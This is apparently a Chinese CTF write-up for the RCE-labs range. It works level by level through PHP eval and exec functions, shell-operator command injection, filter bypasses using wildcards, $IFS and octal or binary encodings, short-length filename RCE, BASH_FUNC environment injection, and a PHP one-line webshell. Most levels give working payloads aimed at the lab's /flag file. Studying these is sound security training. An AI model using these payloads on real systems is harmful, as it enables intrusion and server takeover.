RCE_labs

RCE_labs搭建

Level 0 : 代码执行&命令执行

命令执行与代码执行的区别,

「任意代码执行 (Arbitrary Code Execution, ACE)」 是指攻击者在目标计算机或目标进程中运行攻击者选择的任何命令或代码的能力,这是一个广泛的概念,它涵盖了任何类型的代码运行过程,不仅包括系统层面的脚本或程序,也包括应用程序内部的函数或方法调用。

在此基础上我们将通过网络触发任意代码执行的能力通常称为 「远程代码执行 (Remote Code Execution, RCE)」

「命令执行 (Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的shell_exec()函数或Python中的os.system()函数。

「代码执行 (Code Execution)」 同我们最开始说到的任意代码执行,在语言中可以体现为一些函数或者方法调用,如PHP中的eval()函数或Python中的exec()函数。

Level 1 : 一句话木马和代码执行

一句话木马和代码执行

虽然是很基础,不过还是过一遍我当时做的三种方法

Level 2 : PHP代码执行函数

首先需要读一点点的php代码,当然像我这样没有php基础的人,只要学过其他语言,也能大概理解代码的意思,对于陌生的函数名,只要去查询了解函数用法即可

此处引用官方WP中对代码的解释:

1
2
首先通过发送 GET:`/?action=` 去随机的获取一个函数,然后通过往 `/?action=submit` 路由 POST:`content=<函数参数>` 的方法完成题目。
通过源码可以看到最后我们的提交会组合为一个函数去调用: `eval(funciton(content))`

关于如何控制获得的随机数

1
2
3
action=r的目的是返回一个Cookie: PHPSESSID=xxx,同时将这个PHPSESSID与随机出来的函数进行绑定
但是实际上,当你进行action=submit的时候携带的Cookie: PHPSESSID=xxx,该PHPSESSID即使不是action=r出现的,他也会走一遍绑定流程
因此只需要通过action=r获得返回的Cookie格式,后续只需要在action=submit的同时,携带不同的Cookie: PHPSESSID=xxx,xxx可以从1开始取

当然有学过概率的可以计算一下,在多少次之内有大概率(0.5)出现所有的函数
$$
P(N)=\sum_{k=0}^{10}(-1)^k\binom{10}{k}\left(\frac{10-k}{10}\right)^N
$$
P(N)大于0.5的情况下,N最小为27,P(27)=0.520

通解

当我上手做了几个之后,发现对于下述所有函数,本题均有通解,即

content=print($flag)

为什么会存在这个通解?

可能由于该题目过于基础,出题人可能并没有考虑该情况,但是我们还是秉持学习精神来探讨这个问题

出题人本意还是想要我们了解以下所有常见的代码,因此我们后续将按照出题人意图进行作答

读题之后我们知道,最终我们会调用random_fun($content)

$content是字符串,我们可以自定义多种参数,但是在传参过程中,我们知道,假定有如下的函数调用

A(B(C)) 此时在A函数执行之前,会优先执行B(C),因此只要在传参过程中参数表达式的执行没有错误,则以下所有函数均能通过

1. eval

eval — 把字符串作为PHP代码执行

2. assert

assert — 断言检测

3. call_user_func

call_user_func — 把第一个参数作为回调函数调用

1
2
3
4
5
6
call_user_func(callable $callback, mixed ...$args): mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
callback
将被调用的回调函数(callable)。
args
0个或以上的参数,被传入回调函数。

核心: 传参即可,第一个传入要调用的参数名(注意是字符串),第二个传入参数即可

content='print_r',$flag

4. create_function

create_function — 通过执行代码字符串创建动态函数

1
2
3
4
create_function(string $args, string $code): string
args
The function arguments, as a single comma-separated string.
code:The function code.

**核心:**创建一个函数,自定义参数与内容。注意在此题需要注意如何在返回后被调用

content='$a','echo $a;')($flag 注意,内部是单引号,若为双引号则其中的$a与$flag会提前被解析

5. array_map

array_map — 为数组的每个元素应用回调函数

1
2
3
4
5
6
7
8
9
10
array_map(?callable $callback, array $array, array ...$arrays): array
callback
回调函数 callable,应用到每个数组里的每个元素。
多个数组操作合并时,callback 可以设置为 null,并且会返回数组,该数组的每个元素包含输入数组中内部数组指针相同位置的元素(见下面的示例)。如果只提供了 array 数组,array_map() 会返回输入的数组。
array
数组,遍历运行 callback 函数。
arrays
额外的数组列表,每个都遍历运行 callback 函数。

array_map() 返回一个 array,包含将 array 的相应值作为回调的参数顺序调用 callback 后的结果(如果提供了更多数组,还会利用 arrays 传入)。callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。多余的实参数组将会被忽略。如果提供的实参数组的数量不足,将抛出 ArgumentCountError。

**核心:**传入函数名与参数数组,此题需注意调用的参数类型

content='print_r',[$flag]注意,只能使用print_r而不能用print的理由是 print_r是内置函数,而print为结构语言,其不能被回调

6. call_user_func_array

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

1
2
3
4
5
6
7
8
call_user_func_array(callable $callback, array $args): mixed
callback
被调用的回调函数。
args
要被传入回调函数的数组。
如果 argskey 都是数字,则会忽略 key,并按顺序将每个元素作为位置参数传递给 callback 。
如果 args 的任一 key 是字符串,则这些元素将作为命名参数传递给 callback,名称由 key 指定。
args 中,如果数字 key 在 字符串 key 之后出现,或者字符串 key 与 callback 的任何参数名称不匹配,将会导致 fatal error

**核心:**你会发现其传参形式类似于array_map,因此我们直接沿用上一题

content='print_r',[$flag]

7. usort

usort — 使用用户自定义的比较函数对数组中的值进行排序

1
2
3
usort(array &$array, callable $callback): true
array: 输入的数组引用
callback: 在第一个参数小于,等于或大于第二个参数时,该比较函数必须相应地返回一个小于,等于或大于 0 的整数。

**核心:**如果你传入了两个参数,那么usort会检查第一个参数是否为变量,如果不是变量则直接Error。如果第一个参数是变量,无论是否正确,则会优先调用第二个参数,并且若第二个参数中存在变量,则优先调用自身变量。若只有一个参数,则直接调用

content=\$a,print_r(\$flag) 虽然此处能通关,但是这和通解其实没什么区别,核心是触发了在参数传递过程中对于参数表达式的解析

目前我并没有发现满足usort要求的同时依旧能通关的解

$a = ["%s\n", $flag]; usort($a, 'printf');

这里解释: 由于usort的第一个参数必须是对数组变量的引用,因此必须形如上面的表达式

而usort([“%s\n”, $flag], ‘printf’);则不行,因为里面的数组并非是对数组的引用

貌似此限制是Zend opcode级别的限制,因此从代码层面上似乎行不通

8. array_filter

array_filter — 使用回调函数过滤数组的元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
array_filter(array $array, ?callable $callback = null, int $mode = 0): array
array
要遍历的数组
callback
使用的回调函数
如果没有提供 callback 回调函数,将删除数组中 array 的所有“空”元素。 有关 PHP 如何判定“空”元素,请参阅 empty() 。
mode
决定哪些参数发送到 callback 回调的标志:
ARRAY_FILTER_USE_KEY - 将键名作为 callback 回调的唯一参数,而不是值
ARRAY_FILTER_USE_BOTH - 将值和键都作为参数传递给 callback 回调,而不是仅传递值
默认值为 0 ,只传递值作为 callback 回调的唯一参数。

遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true,则将 array 数组中的当前值返回到结果 array 数组中。
返回结果 array 数组的键名(下标)会维持不变,如果 array 参数是索引数组,返回的结果 array 数组键名(下标)可能会不连续。 可以使用 array_values() 函数对数组重新索引。

**核心:**也是和上面一样的传参,不过顺序不一样,注意参照官方顺序进行调用

content=[$flag], 'print_r'

9. array_reduce

array_reduce — 用回调函数迭代地将数组简化为单一的值

1
2
3
4
5
6
7
8
9
10
11
12
13
array_reduce(array $array, callable $callback, mixed $initial = null): mixed
array
输入的 array。
callback
callback(mixed $carry, mixed $item): mixed
carry
携带上次迭代的返回值; 如果本次迭代是第一次,那么这个值是 initial。
item
携带了本次迭代的值。
initial
如果指定了可选参数 initial,该参数将用作处理开始时的初始值,如果数组为空,则会作为最终结果返回。

array_reduce() 将回调函数 callback 迭代地作用到 array 数组中的每一个单元中,从而将数组简化为单一的值。

**核心:**需要理解array_reduce的传参过程,注意callback中第一次调用的是array_reduce中的(initial,array[0])

content=[false],'print_r',$flag 此时在第一次执行中形同print_r($flag,false),必须这样传参,否则array_reduce将静默

10. preg_replace

preg_replace — 执行一个正则表达式的搜索和替换

1
2
3
4
5
6
7
8
9
10
preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null
详见链接
执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。
依赖 /e 模式,该模式自 PHP7.3 起被取消。

**核心:**php7系以上已经取消了/e模式

preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)});因此这个官方答案是存在问题的,此时核心执行的是${print_r($flag)}中的内容,此时也在参数解析阶段,这与通解没有任何差异

Level 3 : 命令执行

传入参数时执行Shell命令即可

Level 4 : 命令执行 - SHELL 运算符

代码量不多,同时提示中写写明了

system(“ping -c 1 $ip”); 此处为核心代码,也是相同的将传入的ip参数格式化到原本字符串中

解题的关键点在于了解了解linux命令与命令分隔符

常见的命令分隔符号

这里附上官方的表格

运算符 说明 示例代码
&&(逻辑与运算符) AND操作 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2 mkdir new_folder && cd new_folder (只有在新建文件夹成功后才进入该文件夹)
` `(逻辑或运算符)
&(后台运行符) 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。 sleep 10 & echo "This will run immediately."
;(命令分隔符) 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。这允许将命令堆叠在一起。命令会依次执行。 echo "Hello"; echo "World" (先输出 “Hello”,再输出 “World”)

其他常用shell符号

运算符 说明 示例代码
command1 > command2 command1 < command2 command1 >> command2 这些操作符是重定向操作符。它们用于重定向输入或输出。 echo "Hello" > output.txt (将 “Hello” 写入到 output.txt 文件) cat < input.txt (读取 input.txt 的内容并在终端显示) echo "Hello" >> output.txt (将 “Hello” 追加到 output.txt 文件中)
`command2` 反引号将一个单独的命令封装在原始命令处理的数据中。 echo "Today is \date`“`(将日期命令的输出嵌入到 “Today is” 之后)
`command1 command2` 管道可用于将多个命令链接起来。一个命令的输出会被重定向到下一个命令中。
$(command2) $ 符号执行括号内的命令。 echo "Today is $(date)" (将日期命令的输出嵌入到 “Today is” 之后)
- command 短横线用于向目标命令添加其他操作。 ls -l -h (列出文件时显示文件大小的可读格式)

通关命令

1
2
3
4
5
?ip=1.1.1.1%26%26cat /flag
?ip=||cat /flag
?ip=;cat /flag
?ip=%26cat /flag
%26 的含义是&,为什么&必须要进行URL编码?因为传参的过程中,如果是直接传入&,则会把其当作GET的参数分隔符

Level 5 - 8: 命令执行 - 终端中的功能/特殊字符

依旧是传入shell命令,但是此时我们可以看到这里多了一层WAF

WAF(Web Application Firewall):听着非常高级,但是用一个通俗的话来讲,实际上就是让你发送给Web应用的消息在到Web应用之前加了一堆检测与过滤的代码。

可以看到此处过滤的代码是

if(preg_match(“/flag/“, $cmd)){die(“WAF!”);}

也就是当你输入的字符串中存在flag,则会触发WAF

正则表达式

在后面我们可能会遇到各种各样的检测,于是掌握正则表达式的使用则显得尤为重要,但是也不需要刻意去学习,跟着后面的题目,在题目的过程中慢慢使用,慢慢学习。

所有的东西都不过是工具而已,我们所需要做的是在使用工具的过程中增加使用工具的经验,而不是在使用工具之前了解所有有关工具的一切之后再开始,那么便本末倒置了。掌握基本技巧后就可以开始使用任何工具

1
2
3
4
5
6
题目依旧是传入参数 ?cmd= 传入的参加如果中间没有flag则能直接被执行
我们这里也给出常见的一些参数
?cmd=cat /f* *作为通配符的使用程度很高,同时由于部分的flag文件名可能并不只叫flag,也有可能是flag12345678,如果只匹配flag很可能什么也匹配不到
?cmd=cat /fl''ag
?cmd=cat /fla?g
RCE-labs靶场中有更详细的说明,我们不过多赘述

Level 6 - 通配符

preg_match(“/[b-zA-Z_@#%^&*:{}-+<>"|`;[]]/“ 这次我们可以看到过滤的东西多了那么亿点,但是我们需要仔细查看

你可以会下意识把/认为在匹配中,但是并非如此,/是作为匹配的边界符号,因此他本身是不在其中的,同时我们可以看到,小写匹配中只有b-z,也就是给我们放出来了一个a,再加上?与数字组合都不存在,因此我们可以使用?结合路径进行匹配

1
2
3
/???/?a??64 /??a?  # 匹配的 /bin/base64 /flag
/bin/?a? /??a? # 匹配的 /bin/cat /flag
为什么匹配的是/bin/cat 而不是cat,因为?a?匹配的是当前目录下是否满足该条件的执行文件,但是很明显我们不可能在/cat目录下

同时附上官方的常见读文件表格

读文件命令表格

命令 描述
cat 从第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页地显示文件内容
less 根据窗口大小,显示文件内容,可以使用键盘上的 [Pg Dn] 和 [Pg Up] 翻页
head 用于显示文件的头几行
tail 用于显示文件的尾几行
nl 类似于 cat -n,显示时输出行号
tailf 类似于 tail -f,实时显示文件尾部内容
sort 读取并排序文件内容
od 以二进制的方式读取文件内容
vi 一种编辑器,能查看文件内容
vim 一种编辑器,能查看文件内容
uniq 过滤重复行,能查看文件内容
file -f 显示文件类型信息,若出错会报告具体内容

level 7 - 空格过滤

preg_match(“/flag| /“, $cmd))这一次我们发现了过滤掉了空格,现在我们需要考虑对空格进行绕过

1
2
3
4
5
6
7
?cmd=cat%09/f* %09是换行符的URL编码,如果过滤不严格的话,可以代替空格使用
?cmd=cat$IFS/f* $IFS是内部字段分隔符
?cmd=cat$IFS$9/f* $9的目的是避免默认的$IFS中被污染,选择$9相对干净
?cmd=cat</fl''ag 通过重定向符号将flag的内容输出到cat中打印,cat</f*貌似不行,但是我在本地测试的过程中是可以的
下面是官方的其他绕过
{cat,/f'l'ag} 通过大括号扩展
X=$'cat\x20/flag'&&$X 通过进制绕过

$IFS - Linux Bash Shell Scripting Tutorial Wiki

1
2
3
4
5
扩展:绕过/ 这里直接贴出官方给的
${HOME:0:1}来替代"/"
cat /flag ---->>> cat ${HOME:0:1}flag
$(echo . | tr '!-0' '"-1') 来替代"/"
cat $(echo . | tr '!-0' '"-1')flag

Level 8 : 命令执行 - 文件描述和重定向

system($cmd.”>/dev/null 2>&1”); 这一次的输出被过滤了,我们需要了解文件描述与重定向的相关知识

  • 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
  • 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
  • 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出

而/dev/null则是将输入里面的内容丢弃

1
2
3
system($cmd.">/dev/null 2>&1"); 可以发现我们的指令的后方将被拼接上>/dev/null 2>&1 
?cmd=cat /flag; 我们可以通过分隔符将后面的语句进行截断
?cmd=cat /flag 2 我们可以2>/dev/null 这样进行重定向,就不影响前面的操作(甚至其他的,找个替的就行)

Level 9 - 八进制

根据提示我们可以知道本题需要通过bash的特性来绕过过滤

ProbiusOfficial/bashFuck: exec BashCommand with only ! # $ ‘ ( ) < \ { } just 10 charset used in Bypass or CTF

该项目既是本题工具,同时该项目的后文也有详细的原理解析,非常值得一看的

1
2
3
?cmd=$'\143\141\164%27%20$%27\57\146\154\141\147' 即cat /flag 注意每个字符对应一个8进制编码,以及使用工具的过程中,如果你发现你输入了ls,但是返回的8进制编码有3个,很明显就是你可能多打了空格与回车
另外关于关卡中为什么说明带参数的命令,例如cat /flag 就必须要在中间加入空格,在该项目文件中有有详细描述bash解析的全过程,当然,如果你不想用空格也可以通过重定向符号来绕过空格
?cmd=$'\143\141\164%27<$%27\57\146\154\141\147' 通过<来替换%20

Level 10 - 二进制整数替换

本题在上一道的基础上增加了对2-9的数字过滤,也就是八进制的用不了了,但是我们通过官方给出的工具可以生成能用的

1
2
?cmd=$0<<<$0\<\<\<\$\'\\$(($((1<<1))%2310001111))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310100100))\\$(($((1<<1))%23101000))\\$(($((1<<1))%23111001))\\$(($((1<<1))%2310010010))\\$(($((1<<1))%2310011010))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310010011))\' 
这里注意和上一题不太一样,这一题能够直接通过工具输入cat /flag即可得出结果,而不需要生成两段,另外一点问题需要注意,由于#在URL中是具有特殊性的,所以需要将#进行URL编码,当然你如果不想一个个编码,直接将所有的一起URL编码即可

Level 11 - 数字1的特殊变量替换

同level10

Level 12 - 数字0的特殊变量替换

给了图形界面,用的python的flask框架模拟的,我在本地运行挺卡的,所以依旧抓完包发送的,或者直接在图形界面输入也可以

同Level10

Level 14 - 长度限制_7字符RCE

这一次的限制是isset($_GET[1]) && strlen($_GET[1]) < 8 即输入的长度最多为7字符,注意空格是算作字符的

参照读文件命令表格 加上通配符,我们很容易得出

1
2
?1=nl /*  (5字符)其中nl可以替换成任意长度在4字符以内的指令
当然实战可能结合其他限制,例如无法使用通配符等,结合实战再造吧(

Level 15 - 长度限制_5字符RCE

Level 16 - 长度限制_4字符RCE

Level 15、Level 16将合并在一起解释,同时这里仅解释原理与复现过程中的一些注意点。

最后附上自己针对原理写的一个通用性脚本,读者可以通过直接使用脚本解决相似的题目。若以学术为目的,还请读者按照原理认真复现一遍

原题、原理来源于BabyFirst Revenge and BabyFirst Revenge v2

orangetw/My-CTF-Web-Challenges: Collection of CTF Web challenges I made

知识点1

在Linux中执行指令是不识别文件名后缀的,当我们执行sh file,他会执行当前目录下一个名为file的文件中的内容

例如在file中的内容为echo "HelloWorld"

1
2
$ sh file
"HelloWorld" # 即在终端中执行了echo "HelloWorld"

知识点2

在Linux中可以通过>创建文件,

1
2
3
4
$ > file
# 你会发现空白行,这是在等你输入东西,直接Ctrl+C断开即可,但是在输入流场景则不用在意
$ ls
file # 可以看到创建了一个名为file的文件

知识点3

在Linux中输入命令可以通过\进行换行

1
2
3
4
$ ls \	
-a\
l
file1 file2 # 等效于ls -al
1
2
3
4
$ ls\	# 错误示例,注意此处与上面有不同点
-a\
l
ls-al command not found # 注意这里,他是直接拼接的命令,因此对于需要分隔符区分参数的场景必须加分隔符(空格等)

知识点4

在Linux中可以通过ls>filels命令执行的结果每个一行输入到file

1
2
3
4
5
6
7
8
$ ls 
a b c
$ ls>d
$ cat d
a
b
c
d # 注意此处的d,在ls>d的过程中,是先创建了d再将ls的结果传入到d中

综合知识点1

结合上面的知识点,我们可以通过在短字符输入的场景创建命令片段,最终通过ls将作为命令片段的文件名导入到文件中并执行他

想法非常美好,但是ls命令是按照$LC_COLLATE这个系统变量进行排序的,在CTF场景中,其一般默认是空,即ls会按照ascii码序进行排序,如果您在后续复现的过程中,发现了ls的排序将-开头的文件名排序到了小写字母之后。您可以输入echo $LC_COLLATE来检查您的该变量是否为xx.UTF-8或者其他非c非空值,这将会影响到您在本地的测试复现

回到正题,您可以按照下面的指令来尝试通过文件名构建指令片段

1
2
3
4
5
6
7
8
$ mkdir test && cd test # 创建一个干净的环境避免其他文件干扰
$ > da\\ # 两个\目的是为了转义,在输入流场景输入一个\即可
$ > te\\
$ ls # 您大概率会看到类型下面的输出
'da\' 'te\'
$ ls>a&&sh a
a : command not found # 在sh文件的过程中,一行的错误不会影响其他行命令的执行
Thu Dec 18 08:46:20 UTC 2025 # 可以发现有date的输出

我们已经成功构建了通过命令片段的文件名来执行文件的效果,但这并不意味着我们能执行任何命令,至少构造命令是痛苦且艰难的

于是根据原作者的原理,我们知道在ls中有-t这个参数,即按照创建时间倒序输出,如果我们能构建出ls-t>g这条指令(g可以替换成任意字符),并执行sh g,那么后面构造的指令片段便可以控制

于是针对5字符与4字符有两种不同的构造

5字符的ls-t>g构造

对应原作者的BabyFirst Revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 以下字符均未进行转义,在终端复现时注意进行对应转义,这里仅对每一步骤进行详细解释
>ls\ # 创建名为 'ls\'的文件
ls>_ # 将当前文件传入到_,即此时的_文件中的每一行是1._2.ls\
>\ \ # 创建名为 ' \'前面的\目的是为了转义空格
>-t\ # 创建名为 '-t'的文件
>\>g # 创建名为 '>g'的文件
ls>>_ # 将当前目录追加到_中,很明显此时必须需要5个字符进行追加
# 此时_中的结构为
_
ls\
\ \ # ' '的ascii码为32,'-'为45,'>'为'62','_'为95 很容易得到该排序
-t\
>g
_
ls\
# 等同于按顺序执行
_
ls -t>g
_
ls\

知识点5

在Linux中可以通过rev file将一个文件中的内容进行转置

1
2
3
4
5
$ cat file
sl
$ rev v
$ cat file
ls

知识点6

在Linux中,当一个目录中同时存在revv两个文件,当我们使用通配符进行匹配时

1
2
3
4
5
6
$ cat v
123
$ ls
rev v
$ *v # 等效于执行了rev v
321

知识点7

在拥有(GNU Coreutils)GNU核心工具集的Linux中(绝大部分的Linux满足该条件,但是不排除部分CTF的题目环境过于简陋)

1
$ dir 	# 等价于ls

综合知识点2

因为在4字符场景中,我们无法进行追加操作,这样我们就不得不进行更加严苛的构造,结合上面的两个原理,我们可以得到

4字符的ls-t>g构造

对应原作者的BabyFirst Revenge v2

注意,在该构造中使用到了通配符*,因此注意题目是否过滤了*

1
2
3
4
5
6
7
8
9
10
# 同理部分,附上官方的payload,读者可自行按照上面的逻辑去捋
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',

构造完成后,我们获得了一个内容中为ls -t>g的可执行文件

实际攻击的Payload构造

相信你看到了这里,应该也就理解了原理,同时也能读懂官方WP中的Payload,这里只介绍部分注意事项

1. >\字符一定需要,因此此处占用了两个字符

2. 特殊字符的构造时,必须多加一个\,因此每个特殊字符仅可使用一次

3. 可以利用${IFS}等绕过空格的方式增添空格的使用次数,但同时也增加了$特殊符号

4. 构造Payload片段的过程中注意,不能存在两个片段分隔后相同的情况

5. 构造后注意将顺序倒置

当然,如果您愿意使用,这里有根据该题目原理编写的工具脚本River0Cygnus/ByteBypassRCE

因为写的比较仓促,各师傅可以根据自己经验提一些ISSUES,非常感谢

Level 17 : 命令执行 - PHP命令执行函数

代码逻辑几乎同Level 2,我们这里着重介绍各函数

1. system

system — 执行外部程序,并且显示输出

1
2
3
4
5
6
7
8
9
system(string $command, int &$result_code = null): string|false
command
要执行的命令。
result_code
如果提供 result_code 参数,则外部命令执行后的返回状态将会被设置到此变量中。

同 C 版本的 system() 函数一样,本函数执行 command 参数所指定的命令,并且输出执行结果。
如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存。
如果要获取一个命令未经任何处理的原始输出,请使用 passthru() 函数。
1
content="cat /flag" # 直接cat /flag即可,因为输出会显示在页面上

2. exec

exec— 执行一个外部程序

1
2
3
4
5
6
7
8
9
exec(string $command, array &$output = null, int &$result_code = null): string|false
command
要执行的命令。
output
如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。 数组中的数据不包含行尾的空白字符,例如 \n 字符。 请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加, 请在传入 exec() 函数之前 对数组使用 unset() 函数进行重置。
result_code
如果同时提供 output 和 result_code 参数,命令执行后的返回状态会被写入到此变量。

exec() 执行 command 参数所指定的命令。
1
content='cat /flag>flag.php' # 因为exec执行是无回显的,所以传入到flag.php.然后再访问即可

3. shell_exec

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回

1
2
3
4
5
6
shell_exec(string $command): string|false|null
command
要执行的命令。

注意:
在 Windows 上,底层管道以文本模式打开,这可能导致函数无法进行二进制输出。考虑使用 popen() 避免这种情况。
1
content='cat /flag>flag.php' # 因为返回的值是保存在执行后的变量中的,所以依旧是输出然后在通过另一个文件打开

4. passthru

[passthru](PHP: passthru - Manual) — 执行外部程序并且显示原始输出

1
2
3
4
5
6
7
passthru(string $command, int &$result_code = null): ?false
command
要执行的命令。
result_code
如果提供 result_code 参数, Unix 命令的返回状态会被记录到此参数。

exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
1
content='cat /flag' 

5. popen

popen — 打开进程文件指针

1
2
3
4
5
6
7
8
popen(string $command, string $mode): resource|false
command
命令。
mode
模式。'r' 表示阅读,'w' 表示写入。
在 Windows 上,popen() 默认是文本模式,即任何从管道中读取/写入的 \n 字符都将转换为 \r\n。如果避免这种情况,可以通过将 mode 设置为 'rb''wb' 来强制执行二进制模式。

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
1
content='cat /flag>flag.php' 因为获取的资源存在值中,必须得搭配一个读的函数才能将其读出来

6.反引号

1
PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。
1
content='cat /flag>flag.php' 依旧获取的内容在值中

Level 18 : 命令执行 - 环境变量注入

我是如何利用环境变量注入执行任意命令 | 离别歌 本题的原理出处,这里只给出重要点和细节部分

1
?envs[BASH_FUNC_echo%%]=() { cat /flag;}
  1. 环境变量名必须以BASH_FUNC_开头,中间的函数即需要劫持的函数,必须以%%结尾
  2. 变量的值必须以() {四个字符开头,最好多加一个空格,即() { 后续接执行的命令
  3. 如果出现问题,可以把一些特殊字符转换成编码形式

Level 19 : 文件写入导致的RCE

file_put_contents — 将数据写入文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
file_put_contents(
string $filename,
mixed $data,
int $flags = 0,
?resource $context = null
): int|false

filename
要被写入数据的文件名。
data
要写入的数据。类型可以是 stringarray 或者是 stream 资源(如上面所说的那样)。
如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。
参数 data 可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join('', $array))。
flags
flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。
context
一个 context 资源。

也是一样直接传参即可,虽然靶场的wp中还有其他三个函数,但是目前貌似并没有实装进去

写一个一句话木马的文件,注意需要用url编码将特殊字符包裹起来,同时不知道为什么,需要在第二个参数与,之间留一个空格,不然就静默报错

1
?c='a.php', '<?php eval($_GET[ctf]); ?>' 

Level 20 : 文件上传导致的RCE

直接在本地中写一个一句话木马文件,然后上传上去即可,最后访问/uploads/your_file.php

Level 21 : 文件包含导致的RCE

文件包含 - Hello CTF

因为还有文件包含的专门靶场,所以这里就了解一下即可

ProbiusOfficial/PHPinclude-labs: 【Hello-CTF labs】PHP文件包含类靶场,各类协议的讲解以及基于协议的LFI/RFI

1
2
POST
c="/flag"

Level 22 : PHP 特性 - 动态调用

PHP: 可变函数 - Manual

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

即,如果代码中存在形如$a($b)那么他会把$a视作一个函数而$b视作该变量的参数,a(b)

1
?a=system&&b=cat /flag

Level 23 : PHP 特性 - 自增

靶场已经将特性讲的非常清楚了,我们这边侧重逐步研究给出的payload

复现的时候php版本最好是7.3.33,且不要是php8以上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php  
error_reporting(0);
ini_set('display_errors', '0'); // 设置报错等级,过滤掉warning,因为后续可能会存在大量warning影响输出

$code = [
'$_=(_/_._)[""=="_"];', // 该语句在php8以上无法使用
'$_++;',
'$__ = $_++;',
'$__ = $_.$__;',
'$_++;',
'$_++;',
'$_++;',
'$__ = $__.$_++.$_++;',
'$_ = $__;',
'$__ ="_";',
'$__.=$_;',
];

function log_vars($i, $line) {
echo "[{$i}] 执行语句: {$line}\n";
echo " \$_ = " . (isset($GLOBALS['_']) ? var_export($GLOBALS['_'], true) : '(undefined)') . "\n";
echo " \$__ = " . (isset($GLOBALS['__']) ? var_export($GLOBALS['__'], true) : '(undefined)') . "\n";
echo "----------------------------------\n";
}

$i = 1;
foreach ($code as $line) {
eval($line);
log_vars($i++, $line);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[1] 执行语句: $_=(_/_._)[""=="_"];
(_/_._) 的执行结果为 NAN_
[""=="_"] 的执行结果为[false]
所以就有 NAN_[false],即NAN[0] = N
$_ = 'N'
$__ = (undefined)
----------------------------------
[2] 执行语句: $_++;
$_ = 'O'
$__ = (undefined)
----------------------------------
[3] 执行语句: $__ = $_++;
$_ = 'P'
$__ = 'O'
----------------------------------
[4] 执行语句: $__ = $_.$__;
$_ = 'P'
$__ = 'PO'
----------------------------------
[5] 执行语句: $_++;
$_ = 'Q'
$__ = 'PO'
----------------------------------
[6] 执行语句: $_++;
$_ = 'R'
$__ = 'PO'
----------------------------------
[7] 执行语句: $_++;
$_ = 'S'
$__ = 'PO'
----------------------------------
[8] 执行语句: $__ = $__.$_++.$_++;
$_ = 'U'
$__ = 'POST'
----------------------------------
[9] 执行语句: $_ = $__;
$_ = 'POST'
$__ = 'POST'
----------------------------------
[10] 执行语句: $__ ="_";
$_ = 'POST'
$__ = '_'
----------------------------------
[11] 执行语句: $__.=$_;
$_ = 'POST'
$__ = '_POST'
----------------------------------

$$__[__]($$__[_]); 最后根据前面的可变函数,得到_POST[__](_POST(_))即执行传入的参数

1
code=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]);&__=system&_=cat /flag 即可通关

Level 24 : PHP 特性 - 无参命令执行

无参命令执行的相关资源还是蛮多的,直接搜搜就够看

这里还是直接解释官方wp中的构造吧

1
2
3
4
5
6
7
8
9
10
?code=var_dump(scandir(current(localeconv())));
current(localeconv()) -> "." 获得.
scandir(.) 即搜寻当前目录并返回一个数组
var_dump()) 则将当前数组中的内容打印出来,以查看是否存在flag文件

